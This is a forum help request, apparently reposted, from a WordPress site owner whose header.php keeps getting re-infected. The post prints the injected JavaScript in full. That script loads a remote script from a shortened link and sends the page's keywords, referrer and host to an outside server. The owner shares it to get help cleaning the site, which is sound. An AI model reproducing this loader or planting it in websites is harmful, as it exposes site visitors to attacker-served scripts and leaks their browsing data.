Malware code generating automatically in WordPress website

My WordPress website generating malware code automatically in Header.php file. When ever I remove after a few days its appear again.

Malware generated code is below,

 <script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+
 location.host)!==0||document.referrer!==undefined||document.referrer!==''
 ||document.referrer!==null){
 document.write('<script type="text/javascript" 
 src="http://ift.tt/24WrN4S
 ='+encodeURIComponent('http://ift.tt/24WrDKP'+'?'+'
 default_keyword='+encodeURIComponent(((k=(function(){
 var keywords='';var metas=document.getElementsByTagName('meta');
 if(metas){for(var x=0,y=metas.length;x<y;x++)    
 {if(metas[x].name.toLowerCase()=="keywords"){
 keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})
 ())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?
 (t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(
 document.referrer)+'&source='+encodeURIComponent(window.location.host))+'">
 <'+'/script>');}</script>

My WordPress and plugins are updated. I'm using only two plugins in the website which are follwoing.

[1]: http://ift.tt/24WrPty
[2]: http://ift.tt/1ohv34X

Please help me to solve this problem. I'll be really grateful.

Thanks Advance

via Chebli Mohamed